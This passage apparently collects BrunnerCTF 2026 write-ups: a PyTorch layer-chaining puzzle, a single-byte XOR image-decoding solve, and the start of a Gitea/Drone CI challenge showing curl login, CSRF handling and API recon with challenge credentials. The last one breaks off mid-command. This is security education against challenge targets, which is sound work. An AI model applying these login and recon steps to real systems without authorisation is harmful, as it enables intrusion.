        self.ember   = nn.Linear(14, 10)
        self.quokka  = nn.Linear(4, 18)
        self.vortex  = nn.Linear(13, 15)

        # Pre-trained weights (do not edit)
        ... (all six layers' weight and bias are explicitly set) ...

    def forward(self, x):
        # Help combine all recipe steps and activate the ingredients with yeast
        return x

Every layer already has real, pretrained weights - nothing here is random.
The only thing missing is the body of forward(). The comment is a direct
hint: "combine all recipe steps" (chain the layers) and "activate ... with
yeast" (apply an activation function between them).

2. Working out the chain from dimensions

dummy_input = torch.zeros(4) is 4-dimensional, so whichever layer takes a
4-dim input must go first. Laying out each layer's (in, out) shape:

Layer	in -> out
quokka	4 -> 18
zephyr	18 -> 13
vortex	13 -> 15
thistle	15 -> 14
ember	14 -> 10
nimbus	10 -> 50

These chain into exactly one path where each layer's output size matches
the next layer's input size:

input(4) -> quokka -> (18) -> zephyr -> (13) -> vortex -> (15)
          -> thistle -> (14) -> ember -> (10) -> nimbus -> (50)

No other ordering of the six layers connects start-to-end without a
dimension mismatch, and the final output width (50) lines up with a
reasonably long flag string once decoded to characters - confirming this
is the intended path.

3. Adding the "yeast" (activation)

Stacking Linear layers back-to-back with nothing in between is still just
a single linear transform - the composition of several affine maps is
itself affine, so no amount of chaining alone reveals anything a single
matrix multiply couldn't. That's the "half-baked" part: the dough (linear
layers) is all there, but nothing makes it rise.

The challenge text spells out the fix: "add yeast to activate all the
ingredients" - i.e. add an activation function after each layer. ReLU is
the standard choice:

def forward(self, x):
    x = self.quokka(x)
    x = F.relu(x)
    x = self.zephyr(x)
    x = F.relu(x)
    x = self.vortex(x)
    x = F.relu(x)
    x = self.thistle(x)
    x = F.relu(x)
    x = self.ember(x)
    x = F.relu(x)
    x = self.nimbus(x)
    return x

4. Running it

The rest of the script was already in place - round each of the 50 output
values and treat it as a Unicode code point:

dummy_input = torch.zeros(4)
output = model(dummy_input)
flag = "".join([chr(int(round(val.item()))) for val in output])
print(f"[+] Output: {flag}")

$ python3 half_baked_fixed.py
[+] Output: brunner{d0ugh_butt3r_sug4r_c1nn4mon_cr34m_c4r4m3l}

Full patched script

import torch
import torch.nn as nn
import torch.nn.functional as F

class BrunsvigerCake(nn.Module):
    def __init__(self):
        super().__init__()
        self.zephyr = nn.Linear(18, 13)
        self.thistle = nn.Linear(15, 14)
        self.nimbus = nn.Linear(10, 50)
        self.ember = nn.Linear(14, 10)
        self.quokka = nn.Linear(4, 18)
        self.vortex = nn.Linear(13, 15)

        # Pre-trained weights (do not edit)
        self.ember.weight = nn.Parameter(torch.tensor([[1.316, 4.115, 0.037, -3.177, 3.505, -4.166, -3.875, -0.449, -4.449, 4.11, 1.11, 3.896, -3.513, 3.867], [-3.519, 2.141, -0.528, -4.448, -1.388, 0.753, -0.735, -4.816, -1.954, 4.265, -0.289, 3.995, -2.533, 4.858], [-2.827, 3.0, 4.104, 3.85, -1.116, 0.067, 3.52, 4.283, 1.637, 3.989, -3.085, -4.89, 3.354, 0.935], [-1.831, -4.309, 2.378, -4.073, -4.13, 4.003, 0.885, 1.757, -1.507, -4.494, 4.362, 1.465, -3.573, -2.003], [-4.069, 4.4, -3.343, 2.802, 2.172, -3.286, 3.924, 3.752, 4.994, 0.23, -1.056, 1.519, 1.263, 1.174], [4.584, 2.107, 2.306, 1.659, -3.395, -4.123, 4.243, 1.875, 3.771, 0.471, 1.831, 4.567, -0.459, -2.365], [4.958, -4.438, -2.705, -1.816, 4.866, -0.299, -0.757, 3.443, -3.454, 2.983, -0.847, -0.356, 1.682, 4.424], [-1.158, 1.059, -2.898, -0.327, -3.788, 4.703, 0.778, 2.526, 3.785, 4.239, 0.874, -1.731, 4.885, -4.693], [-4.134, 2.033, -0.988, -1.054, 4.687, 4.724, -2.296, -1.362, -1.489, -0.222, 3.394, 3.876, 4.547, 1.086], [-0.429, -3.18, 0.769, -3.794, -3.58, 2.056, -2.524, -1.647, 1.727, 4.036, 0.228, 2.24, -3.775, 3.27]]))
        self.ember.bias = nn.Parameter(torch.tensor([-46.77499, -89.964382, -121.503818, 32.12234699999998, -99.72601100000001, -244.54492900000002, -25.601556999999993, -79.42223399999999, -45.55715299999999, -105.62387]))
        self.thistle.weight = nn.Parameter(torch.tensor([[-0.977, -0.987, 2.226, -2.268, 2.314, 2.83, -3.232, 1.581, -0.811, -2.573, 3.661, 4.947, 4.83, 0.503, -2.986], [-1.966, -0.269, 3.113, -4.508, 3.543, 3.042, 1.506, -2.708, 2.665, 3.342, -4.127, -0.357, -2.508, 1.511, 3.013], [0.919, -1.002, 2.156, -4.663, 3.448, 2.664, 0.489, 3.294, 2.437, 4.458, -2.522, 1.904, -1.407, -1.274, -3.21], [2.466, 4.531, -0.809, 4.07, 3.319, -4.733, -4.255, -1.511, -1.719, 4.423, -4.225, 4.055, 1.457, 2.126, -0.408], [0.658, 1.205, -4.448, -1.942, 0.798, -4.034, -1.165, 3.692, 1.192, 4.847, 4.479, 1.444, 4.641, 1.407, -3.739], [-2.388, 3.03, 2.042, -3.976, 0.72, 0.738, -0.66, -2.265, -4.034, 3.73, -0.036, 3.928, 2.93, -1.415, -0.118], [-4.732, -0.071, -2.703, -0.118, -1.509, 3.075, -1.574, -4.721, -4.247, 1.9, -3.66, 1.67, -0.614, -3.539, 4.825], [1.397, 4.08, -1.711, 4.448, -3.226, 0.038, -1.707, 3.351, -4.81, 4.071, -2.734, -0.595, -0.764, 3.273, -3.515], [-3.531, -3.195, -2.054, -1.198, 1.785, -4.332, 4.395, 3.192, 0.658, -3.458, -3.947, 4.435, 3.807, -0.005, -0.852], [1.528, 3.727, -2.151, 2.116, 4.661, -0.126, -3.456, -2.673, -2.888, 1.658, -4.807, 2.944, -0.364, 4.335, 2.054], [0.719, -2.673, -1.914, -2.35, -0.422, 0.598, 1.039, -4.856, -2.54, -4.233, 3.006, -1.934, 2.215, -4.11, -4.88], [0.111, 3.673, 3.394, -1.035, -2.952, -3.753, 2.458, -0.436, 2.615, 1.521, -0.818, -1.657, 3.205, 1.212, 1.185], [2.645, 4.209, -0.704, -2.089, 3.089, 2.255, 2.509, 2.675, -1.918, 0.549, 4.414, 2.188, 1.598, -2.912, 4.12], [-0.486, -3.029, -0.801, -2.139, -0.767, 4.434, 2.239, -4.128, -2.196, 0.608, -4.319, -0.56, -3.231, 1.904, -0.39]]))
        self.thistle.bias = nn.Parameter(torch.tensor([-80.845891, -86.57749699999998, -165.292546, -22.910134999999997, -132.72431600000002, -14.500798999999999, 151.930974, -14.175594999999998, 7.049248999999997, -16.346333999999988, 193.413242, -27.215327, -255.562062, 80.515854]))
        self.vortex.weight = nn.Parameter(torch.tensor([[2.278, -0.047, -1.17, 1.749, 0.515, -3.313, 3.168, -1.895, 2.153, -0.3, 0.464, 2.199, 3.396], [-3.47, 4.735, -4.426, 1.072, -3.314, -3.886, 4.517, 1.543, 2.302, 1.618, -4.013, 1.941, -1.31], [4.192, -1.304, 2.923, -2.539, 3.491, -2.44, -2.824, -3.681, -4.449, 1.231, 2.499, -3.282, 0.674], [-1.941, -2.739, -0.172, -3.364, -1.145, 3.775, 3.525, 4.424, 3.427, 4.74, 0.362, 1.971, 3.146], [-2.918, 1.436, -1.753, 4.506, -0.718, 1.124, -3.601, 1.105, 3.588, -3.954, -0.812, -0.992, 2.466], [3.641, 2.844, -1.458, 1.057, 4.738, 4.916, 2.684, -0.361, 4.705, 0.558, 2.942, 3.9, 4.808], [-0.901, 4.505, 0.505, -4.742, 3.184, -4.112, -2.41, 3.967, -0.84, -0.428, -2.017, 4.798, 2.803], [1.576, -1.314, -0.168, 2.129, -3.275, -0.574, 1.346, -4.026, 4.108, -2.967, 0.237, -1.239, -4.486], [-3.353, 1.633, 0.819, -4.787, 3.587, 2.702, 4.066, 3.404, -0.437, -2.391, -2.881, -0.229, -1.757], [-4.287, -0.673, 4.46, -0.935, -2.199, -4.441, -0.314, 2.769, -0.063, -1.293, 0.658, 0.078, 2.92], [4.846, -0.199, -2.286, 3.855, 0.536, -3.453, 0.635, 3.91, -4.66, 2.282, -1.791, 2.474, -4.317], [2.206, -1.561, -4.468, 3.526, -4.712, 1.801, 2.526, -2.808, 0.112, 4.907, -4.742, -1.27, 4.952], [3.077, 4.522, 1.192, 2.391, -3.105, -1.202, -1.281, -1.196, 2.077, -3.981, 1.173, -2.299, 1.746], [-2.67, 1.963, 0.95, 4.202, -0.743, -4.439, -4.714, 1.126, 1.809, 0.481, 1.037, 4.52, -3.565], [1.104, -2.978, -2.466, 3.908, 1.933, -0.836, 0.479, -1.426, 0.105, -4.193, -4.506, -4.124, 0.557]]))
        self.vortex.bias = nn.Parameter(torch.tensor([-114.131626, -42.448999, 131.866201, -243.26573700000003, 10.43169300000001, -274.985064, -106.79146800000001, 115.66636800000002, 46.399753, -69.22416, -21.158774000000022, 0.23002499999999415, 9.815382000000005, -84.43185099999998, 199.722996]))
        self.nimbus.weight = nn.Parameter(torch.tensor([[-2.154, -4.176, 2.153, 0.66, -1.851, 0.222, 1.841, 3.391, 0.484, 2.925], [1.808, 0.338, 1.33, 1.827, -0.487, 0.739, 0.789, 3.564, 0.298, -1.984], [-2.485, 4.326, 3.295, 0.519, -3.18, -2.774, -0.052, 4.686, -1.255, 0.955], [1.38, 4.232, 0.746, 0.964, -1.605, 0.458, 2.67, -3.873, -1.822, -3.391], [-0.949, 2.875, 1.607, 4.88, -0.187, 1.521, 3.387, -4.587, -3.9, 0.704], [-3.933, -0.792, -0.4, 2.873, -0.609, 4.078, -2.342, -4.835, 2.832, 4.877], [4.374, 4.892, -3.128, -4.966, -3.807, -3.273, 4.491, -2.401, 4.777, -1.078], [2.308, 2.525, -4.055, -1.286, 3.497, 4.657, -1.421, 1.011, -1.391, -2.401], [-1.543, 4.514, -0.819, -1.444, -3.479, 0.063, -4.531, 1.189, 1.304, 0.147], [-3.741, 2.96, -3.282, 4.074, 2.831, 4.094, -4.13, 3.49, -3.65, 2.1], [2.818, 4.291, 2.246, 3.102, -1.906, 4.435, 3.647, 0.846, -2.302, -4.271], [0.74, 1.578, -2.338, 2.442, -0.14, -2.234, -0.486, 1.528, 1.198, -0.959], [-0.671, -0.091, -1.722, 1.893, -3.745, 0.061, -4.33, -1.159, 0.583, 0.766], [-1.921, -2.987, -1.709, 4.155, 1.106, -1.505, -3.736, 2.749, -2.27, -3.847], [1.878, -1.149, -4.403, 1.405, -4.673, 4.902, 3.765, -2.391, -3.809, -2.537], [-1.022, 1.77, -3.713, -3.964, -1.03, -4.665, -1.235, -3.628, -1.168, -0.786], [-4.39, 4.63, 0.977, 2.03, -3.526, -2.738, -1.343, 0.044, -3.485, 0.152], [3.865, 1.738, -2.822, 3.191, 0.888, -4.724, -1.629, -2.811, -3.195, -3.29], [-0.785, -3.402, 4.458, 1.275, 3.262, -1.661, 3.306, -0.836, 0.48, 2.015], [-4.178, -2.323, 4.057, -0.557, -3.993, -4.546, -4.411, 2.338, 4.999, 3.46], [-1.348, 2.731, -4.711, 4.144, 4.066, -0.008, 1.051, -2.13, -3.874, -1.091], [-2.407, -3.044, 2.182, 3.063, -4.77, -4.288, -1.028, -2.712, -2.953, 0.369], [0.278, -1.109, -1.541, -0.542, -2.798, 0.424, -1.127, 1.418, -0.132, -3.235], [3.521, -2.778, 4.89, -1.469, 3.759, 4.304, 0.89, -3.869, 2.595, 0.953], [-2.252, -0.921, -0.992, -2.592, 1.374, 1.93, 3.137, 0.978, 2.522, -4.068], [-1.524, -1.332, -1.906, 2.995, 4.646, -4.004, -3.036, -3.885, -2.132, 2.264], [4.753, 2.467, -2.8, 2.668, 0.8, -4.321, 1.359, -1.878, 0.527, -3.633], [2.277, 2.996, -1.996, -2.583, -1.236, 1.382, 2.716, -0.936, -0.202, 1.793], [3.931, 0.75, -4.048, 1.334, -0.615, -1.354, 4.058, -1.056, 0.29, 3.506], [1.245, 2.36, 4.334, 0.19, 1.897, -2.546, -2.876, 1.926, -3.04, 2.616], [-2.092, -3.873, -0.15, 2.245, -2.022, -3.676, -4.084, -0.328, 2.988, 4.007], [-3.783, -0.965, 0.39, 2.051, -1.179, 4.309, -2.928, -3.086, -3.485, 4.574], [1.348, 0.568, -3.741, 1.256, -1.377, -2.736, 1.52, -2.759, 2.191, 2.142], [3.622, -0.621, 4.008, -3.418, -4.754, -0.765, -3.809, -4.731, -1.489, 0.731], [3.901, -2.908, 1.464, -2.599, -0.428, -1.304, 4.939, -3.773, -2.272, 2.014], [-0.38, -1.723, 2.456, 3.606, 1.087, -0.736, 4.318, -0.683, 2.07, -3.921], [-2.92, -0.762, -0.779, -2.31, -3.193, 1.227, 4.434, -1.231, -0.097, -2.572], [3.708, -0.698, -3.872, -3.022, 1.079, 4.378, 2.124, 3.834, -1.639, 3.112], [-4.57, -4.609, -4.307, 1.481, 2.915, 0.388, -2.887, 2.92, 0.219, -0.951], [4.764, -3.004, 4.707, 2.22, 0.377, -3.165, -4.18, -3.286, -2.919, -2.161], [-2.092, 1.589, 1.01, 2.259, 0.718, 4.438, 0.541, 2.361, 0.279, -2.174], [1.819, -0.185, -4.985, -2.487, 4.417, -0.192, -4.067, 2.498, -1.378, 3.469], [-2.54, -0.506, 4.449, 4.473, 0.756, -4.01, -3.095, 1.608, -1.811, -0.971], [-4.45, -4.166, 0.712, -2.975, -3.701, 3.188, 2.824, 0.005, 2.482, 3.974], [1.222, -4.205, 4.194, -3.4, 4.47, 2.592, 2.688, -3.218, -0.01, -2.065], [0.805, 1.669, -0.68, 4.715, 0.616, 1.421, 1.804, -0.518, -3.076, -0.588], [-1.228, 1.278, 1.191, 0.883, 3.029, 3.182, -3.094, 1.411, -2.549, 0.526], [2.526, 1.25, 1.943, 3.564, 2.465, 4.097, -0.703, -0.21, 3.081, 2.694], [-2.056, 4.354, 1.953, 0.238, 1.181, -1.938, -4.422, 2.239, -2.666, -4.242], [0.523, -1.411, -1.274, 4.612, -1.31, 3.354, 0.216, -1.591, 1.174, 0.162]]))
        self.nimbus.bias = nn.Parameter(torch.tensor([27.203868999999997, 58.954039, 108.885144, 146.731048, 135.944787, 85.585233, 17.096815000000007, 155.130383, 159.228771, 143.82074599999999, 73.90572800000001, 111.263293, 195.14133800000002, 251.612426, 193.489824, 268.422468, 250.958979, 256.47713999999996, -59.03251900000001, 78.90211099999999, 208.580719, 255.1236, 190.483375, -62.90831700000001, 21.46947799999999, 226.60735, 112.98256699999999, 46.423576, -29.366467999999983, 99.17928, 129.461098, 144.142566, 91.35802500000001, 171.496596, 55.96520599999999, 25.349291000000008, 132.876172, 32.657967, 157.373654, 130.815837, 80.13802199999999, 129.941949, 165.38212, -19.787523000000007, 41.41705, 74.549533, 141.38613099999998, -112.69922700000001, 237.810621, 107.844022]))
        self.zephyr.weight = nn.Parameter(torch.tensor([[-4.243, 3.235, 3.894, -3.769, 1.402, 3.643, 1.968, -0.144, 1.857, 0.7, 1.691, -2.967, -4.05, -2.571, 4.895, -3.5, -0.629, -0.15], [-2.357, -1.781, -4.421, -0.665, -2.088, 0.465, 1.621, -4.975, 2.726, 4.976, -1.18, -4.023, 4.693, -2.901, -2.351, -1.66, -0.295, -4.371], [4.282, 3.575, -3.862, -2.341, 2.797, 0.406, 3.652, -1.441, 0.22, 0.786, -4.659, -0.073, -0.502, -3.23, -4.216, -1.045, -1.222, -4.161], [0.265, -4.894, 0.172, -1.409, -2.073, -3.28, 0.749, -3.344, -2.543, 2.4, -3.346, 1.413, 4.685, 4.291, -4.936, -0.571, 2.029, 3.904], [4.232, -1.808, -4.278, -3.547, 0.927, -1.0, -4.274, 2.469, 4.981, -1.513, -2.374, 4.603, -2.192, -3.001, -1.222, -2.382, 3.372, -3.695], [0.924, -3.743, -1.743, 1.862, -2.303, -3.936, 2.809, 0.191, -0.839, -3.08, -1.847, 1.234, -2.654, 1.084, -0.325, 1.65, 0.39, 4.978], [3.792, -0.999, 4.583, 4.91, 3.66, -2.061, -0.436, 0.846, -1.334, -1.999, -1.104, -0.372, -3.081, 1.422, -2.045, 3.593, -2.272, 3.4], [1.881, 1.313, -3.93, -3.481, 3.875, -4.237, 4.047, 0.312, 4.89, -0.944, 0.036, -4.068, -3.868, -2.582, 4.313, 3.719, 1.319, -3.539], [-2.108, 0.818, 2.884, -4.057, -4.689, -2.857, 3.117, 4.707, 4.556, -3.324, -4.577, -1.589, -0.32, -3.531, -2.399, -3.934, 0.993, 0.622], [4.521, -0.841, -0.497, -0.434, -2.263, -1.439, -3.115, 1.147, -4.019, 0.49, -4.073, 4.125, 3.056, 2.518, 4.917, -0.273, -4.43, 4.319], [-4.057, 2.649, -2.116, -0.865, 4.737, -3.04, 0.597, -4.71, -2.096, 2.433, -2.926, -3.919, -1.194, -1.846, -0.816, 1.116, -1.116, -1.552], [-4.992, -4.808, 3.217, 4.064, -2.957, 2.434, -1.753, 2.132, 4.566, -1.748, -3.339, 0.59, -4.885, 0.357, -3.795, 3.289, -2.961, -2.415], [1.865, 3.486, 4.265, 2.841, -4.864, 4.373, -4.513, -3.587, -2.37, 4.473, -3.538, 0.795, -4.032, 1.482, 4.466, 2.459, -4.301, -1.709]]))
        self.zephyr.bias = nn.Parameter(torch.tensor([-50.609923, 244.164688, 99.520907, 55.91402, 36.39038399999998, 34.65404100000001, -71.20910599999999, -43.623143, 135.32721300000003, -11.461164999999989, 158.911432, 295.343349, 107.84786800000003]))
        self.quokka.weight = nn.Parameter(torch.tensor([[0.343, 3.892, 3.035, 4.214], [-2.314, -2.049, 4.254, 0.817], [1.833, -0.558, 4.541, 2.546], [2.009, -2.498, -1.792, -0.393], [-3.151, 0.826, 1.283, 0.606], [-1.593, -0.719, -4.634, -0.794], [2.015, -0.929, 3.41, -0.978], [-3.722, 0.468, -1.268, 3.495], [-3.803, 3.39, -2.066, 0.186], [-1.032, -0.416, 4.403, 2.929], [4.3, -3.7, -2.59, 3.617], [-0.043, -0.883, 1.154, -2.86], [-0.17, 3.609, -3.072, 1.273], [-0.161, 2.205, 0.379, -1.633], [3.722, -3.587, 2.007, -1.652], [-1.695, 0.465, -4.604, -3.688], [4.422, 3.472, 0.197, -0.993], [-4.595, 4.734, -3.434, -4.237]]))
        self.quokka.bias = nn.Parameter(torch.tensor([12.889, 9.977, 6.781, 1.4, 14.698, 5.547, 7.672, 11.701, 2.993, 6.833, 10.207, 4.043, 4.573, 10.588, 11.352, 2.349, 19.763, 12.626]))

    def forward(self, x):
        # Combine all recipe steps in the order their dimensions chain
        # together, and "activate" (apply yeast / ReLU) after each step.
        x = self.quokka(x)
        x = F.relu(x)
        x = self.zephyr(x)
        x = F.relu(x)
        x = self.vortex(x)
        x = F.relu(x)
        x = self.thistle(x)
        x = F.relu(x)
        x = self.ember(x)
        x = F.relu(x)
        x = self.nimbus(x)
        return x

model = BrunsvigerCake()
model.eval()

# Dummy input triggering the network
dummy_input = torch.zeros(4)

try:
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
    print(f"[+] Output: {flag}")
except Exception as e:
    print(f"[-] Execution failed: {e}")

Key Vulnerabilities / Design Weaknesses

#	Weakness	Impact
1	`forward()` never invokes any of the six pretrained layers	Secret is inert until the layers are wired together in the right order
2	Correct layer order is fully recoverable from public `in_features`/`out_features`	No guesswork needed - dimensions uniquely determine the one valid chain
3	No activation function between layers	A stack of pure `Linear` layers is mathematically equivalent to one `Linear` layer; without a nonlinearity, "combining the layers" alone would still leave the network mathematically inert to certain analysis approaches, and the challenge deliberately withholds ReLU as the missing step
4	Secret encoded as raw ASCII via `chr(round(x))`	Once forward() is correctly wired, no further cryptography protects the output

Attack Chain

+-----------------------------+
| Six named Linear layers,     |
| all pretrained, forward()    |
| does nothing                 |
+---------------+---------------+
                |
                v
+-----------------------------+
| Read in_features/out_features|
| of each layer                |
+---------------+---------------+
                |
                v
+-----------------------------+
| Find the one ordering where  |
| output size of each layer    |
| matches input size of next:  |
| quokka->zephyr->vortex       |
| ->thistle->ember->nimbus     |
+---------------+---------------+
                |
                v
+-----------------------------+
| Insert ReLU ("yeast") after  |
| each layer to break linearity|
+---------------+---------------+
                |
                v
+-----------------------------+
| Run on dummy zero input,     |
| round outputs, chr() each    |
+---------------+---------------+
                |
                v
+-----------------------------+
| Flag recovered               |
+-----------------------------+

Mitigations (if this were a real system rather than a CTF)

Don't rely on an unwired/incomplete forward() as a security boundary - anyone who can read the class definition can trivially reconstruct valid chains from the declared layer shapes.
Avoid naming layers or leaving dimension signatures that uniquely determine a hidden computation graph; a real protection scheme shouldn't be reconstructible from public metadata alone.
If a secret must be embedded in a model, keep the "correct" execution graph (and its input) out of any distributed artifact, and don't leave a fixed, guessable input (a zero vector) as the trigger.

Files

half_baked.py - original challenge file
half_baked_fixed.py - patched version with the layers chained in dimension order and ReLU activations restored between them

BrunnerCTF 2026 : Magic or Not Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 16:01:59 +0000

Summary

The challenge provides four files (Brunner1.jpg, Brunner2.gif,
Brunner3.png, Brunner4.bmp) that all report as generic data under
file - none of them start with the magic bytes their extension implies.
Each file turns out to be a valid image of its stated format XOR'd with a
single repeating byte. Recovering the four keys and XOR-decoding each file
restores four vertical slices of one picture, which stitch together into a
single wide banner image containing the flag as plain text.

1. Recon - the files don't match their extensions

$ file Brunner1.jpg Brunner2.gif Brunner3.png Brunner4.bmp
Brunner1.jpg: data
Brunner2.gif: data
Brunner3.png: data
Brunner4.bmp: data

None of them are recognized. Dumping the first bytes of each is the
giveaway - "cutting-edge obfuscation" is a red flag for custom crypto, and
the security team's hunch pans out immediately:

Brunner1.jpg first bytes: a7 80 a7 b3 7b 42 12 08 41 58 58 58 58 59 58 58 ...
Brunner2.gif first bytes: 10 1e 11 6f 36 e9 57 d7 54 a0 57 57 57 57 57 57 ...
Brunner3.png first bytes: d0 09 17 1e 54 53 43 53 59 59 59 54 10 11 1d 0b ...
Brunner4.bmp first bytes: 18 17 d0 d4 4b 5a 5a 5a 5a 5a d0 5a 5a 5a 26 5a ...

Each file has long runs of a single repeated byte (58, 57, 59, 5a -
i.e. ASCII X, W, Y, Z). Long constant runs after XOR strongly
suggest a single-byte XOR cipher applied over image data that itself
contains long runs of a constant byte (e.g. padding, or solid-color pixel
regions) - the "obfuscation algorithm" is a one-byte XOR "cipher."

2. Recovering the key per file

Each filename tells us the plaintext format to expect, so the known-magic
attack applies directly: XOR each file's header against the expected
signature for that format and see which single byte reproduces it.

sigs = {
    'Brunner1.jpg': bytes.fromhex('ffd8ff'),        # JPEG SOI + marker
    'Brunner2.gif': b'GIF89a',
    'Brunner3.png': bytes.fromhex('89504e470d0a1a0a'),
    'Brunner4.bmp': b'BM',
}
for fname, sig in sigs.items():
    data = open(fname, 'rb').read()
    for key in range(256):
        if bytes(b ^ key for b in data[:len(sig)]) == sig:
            print(fname, hex(key))

Results:

File	Recovered key
Brunner1.jpg	`0x58`
Brunner2.gif	`0x57`
Brunner3.png	`0x59`
Brunner4.bmp	`0x5a`

(Note these are exactly the repeated bytes spotted in step 1 - the "custom
crypto" leaks its own key in plaintext wherever the underlying image has a
run of constant-value pixels.)

3. Decoding

XOR each full file against its own single-byte key:

keys = {
    'Brunner1.jpg': 0x58,
    'Brunner2.gif': 0x57,
    'Brunner3.png': 0x59,
    'Brunner4.bmp': 0x5a,
}
for fname, key in keys.items():
    data = open(fname, 'rb').read()
    dec = bytes(b ^ key for b in data)
    open('decoded_' + fname, 'wb').write(dec)

$ file decoded_*
decoded_Brunner1.jpg: JPEG image data, ... 642x896, components 3
decoded_Brunner2.gif: GIF image data, version 89a, 190 x 896
decoded_Brunner3.png: PNG image data, 68 x 896, 8-bit/color RGBA
decoded_Brunner4.bmp: PC bitmap, ... 321 x 896 x 32 ...

All four decode to valid images of their claimed format. Every image has
the same height (896 px) but a different width - a strong hint they are
vertical slices of one wider picture, meant to be reassembled side by side.

4. Reassembling the image

from PIL import Image

imgs = ['decoded_Brunner1.jpg', 'decoded_Brunner2.gif',
        'decoded_Brunner3.png', 'decoded_Brunner4.bmp']
ims = [Image.open(i).convert('RGB') for i in imgs]

canvas = Image.new('RGB', (sum(im.width for im in ims), ims[0].height))
x = 0
for im in ims:
    canvas.paste(im, (x, 0))
    x += im.width
canvas.save('stitched.png')

Pasting the slices in filename order (1, 2, 3, 4) produces a single
1221x896 image straight away - a flag banner with the text baked directly
into the picture:

brunner{ctf2026}

Full solve script

from PIL import Image

# 1. Recover per-file single-byte XOR key via known-plaintext (file magic bytes)
sigs = {
    'Brunner1.jpg': bytes.fromhex('ffd8ff'),        # JPEG SOI + marker
    'Brunner2.gif': b'GIF89a',
    'Brunner3.png': bytes.fromhex('89504e470d0a1a0a'),
    'Brunner4.bmp': b'BM',
}

keys = {}
for fname, sig in sigs.items():
    data = open(fname, 'rb').read()
    for key in range(256):
        if bytes(b ^ key for b in data[:len(sig)]) == sig:
            keys[fname] = key
            break

print("Recovered keys:", {k: hex(v) for k, v in keys.items()})

# 2. XOR-decode each full file with its recovered key
decoded_names = []
for fname, key in keys.items():
    data = open(fname, 'rb').read()
    dec = bytes(b ^ key for b in data)
    out = 'decoded_' + fname
    open(out, 'wb').write(dec)
    decoded_names.append(out)

# 3. Stitch the decoded slices together horizontally, in filename order
imgs = ['decoded_Brunner1.jpg', 'decoded_Brunner2.gif',
        'decoded_Brunner3.png', 'decoded_Brunner4.bmp']
ims = [Image.open(i).convert('RGB') for i in imgs]

canvas = Image.new('RGB', (sum(im.width for im in ims), ims[0].height))
x = 0
for im in ims:
    canvas.paste(im, (x, 0))
    x += im.width
canvas.save('stitched.png')

print("Saved stitched.png -- flag is visible as text in the image.")

Key Vulnerabilities

#	Weakness	Impact
1	Single-byte XOR is the entire "obfuscation algorithm"	Trivially breakable via known-plaintext (file magic bytes) attack
2	Same key reused across the whole file	Any run of repeated plaintext bytes (padding, flat color) leaks the key directly in the ciphertext
3	Image split into slices without further protection	Once each slice decodes, correct reassembly order is discoverable from filenames/dimensions alone

Attack Chain

+-----------------------------+
| 4 files, wrong-looking       |
| magic bytes for their        |
| extensions                   |
+---------------+---------------+
                |
                v
+-----------------------------+
| Spot repeated single bytes   |
| in each file -> single-byte  |
| XOR "cipher"                 |
+---------------+---------------+
                |
                v
+-----------------------------+
| Known-plaintext attack:      |
| XOR header vs expected magic |
| bytes for each format        |
| -> recover key per file      |
+---------------+---------------+
                |
                v
+-----------------------------+
| XOR-decode full files ->     |
| 4 valid images, same height, |
| different widths              |
+---------------+---------------+
                |
                v
+-----------------------------+
| Stitch slices horizontally   |
| in filename order             |
+---------------+---------------+
                |
                v
+-----------------------------+
| Flag banner image recovered  |
+-----------------------------+

Mitigations

Never invent custom cryptographic primitives; use vetted, standard algorithms (AES-GCM, ChaCha20-Poly1305, etc.) for confidentiality.
Single-byte (or any short repeating-key) XOR provides no real security - it is broken by trivial known-plaintext or frequency analysis.
If data must be split, don't leave filenames or metadata (dimensions, ordering) that reveal how to reassemble it.
Any "obfuscation" that reuses a fixed key across an entire file is vulnerable the moment any portion of the plaintext is guessable - image file headers and padding are always guessable.

Files

decoded_Brunner1.jpg, decoded_Brunner2.gif, decoded_Brunner3.png, decoded_Brunner4.bmp - individually XOR-decoded slices
stitched.png - final reassembled flag banner

BrunnerCTF 2026 : The Three Ways Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:56:08 +0000

Summary

Two connected challenges built around the same Gitea/Drone/rollout-agent environment. The first stage (Flow) gets code execution on the Drone CI runner. The second stage (Feedback / Continuous Improvement) escalates that into root on the box running Brunnerne's autonomous, unsigned rollout agent. Along the way there's also a bonus flag hidden in the package registry's version history, found while sweeping for leftovers after the main chain was already solved.

Recon

The target is a Gitea instance:

https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

The challenge description ("onboarding note left behind the printer") supplied initial credentials for a low-privilege developer account:

brunner_dev : dev_go_brr

The first thing I tried was just hitting /sign-in, guessing at the login path - that 404'd, because Gitea's actual route is /user/login, not /sign-in. That path only showed up once I grepped the homepage for the "Sign In" link:

curl https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz | grep sign

Gitea rotates its CSRF token per request and ties it to whatever session cookie you're carrying at the time, so logging in via curl means fetching a fresh token from a GET to /user/login and then reusing that same cookie jar for the POST - otherwise the token won't match the session Gitea has on file and you'll get a 400. The first time through this I made the mistake of running the GET and POST as two completely separate curl invocations without sharing a cookie jar, and it failed every time with a fresh CSRF token that didn't match. The fix was chaining everything through one jar:

curl -s -c cookies.txt -b cookies.txt \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  -o login_page.html

CSRF=$(grep -oP '(?<=name="_csrf" value=")[^"]+' login_page.html)

curl -s -c cookies.txt -b cookies.txt \
  -X POST 'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/user/login' \
  --data-urlencode "_csrf=$CSRF" \
  --data-urlencode 'user_name=brunner_dev' \
  --data-urlencode 'password=dev_go_brr' \
  -D - -o response.html

Rather than deal with the cookie/CSRF dance at all for read-only recon, it turned out simpler to just use Gitea's Basic Auth support directly against the API - brunner_dev's credentials work as HTTP Basic Auth on any /api/v1/... endpoint, no session or token needed:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/user'

That confirmed the account worked and returned its profile JSON. Checking the account's own repo page (/brunner_dev) showed "No matching repositories found" - the account itself owns nothing, which made sense for a "minimal access" contractor. The actual repos existed elsewhere, and the way to find them regardless of ownership was Gitea's cross-owner repo search endpoint:

curl -s -u brunner_dev:dev_go_brr \
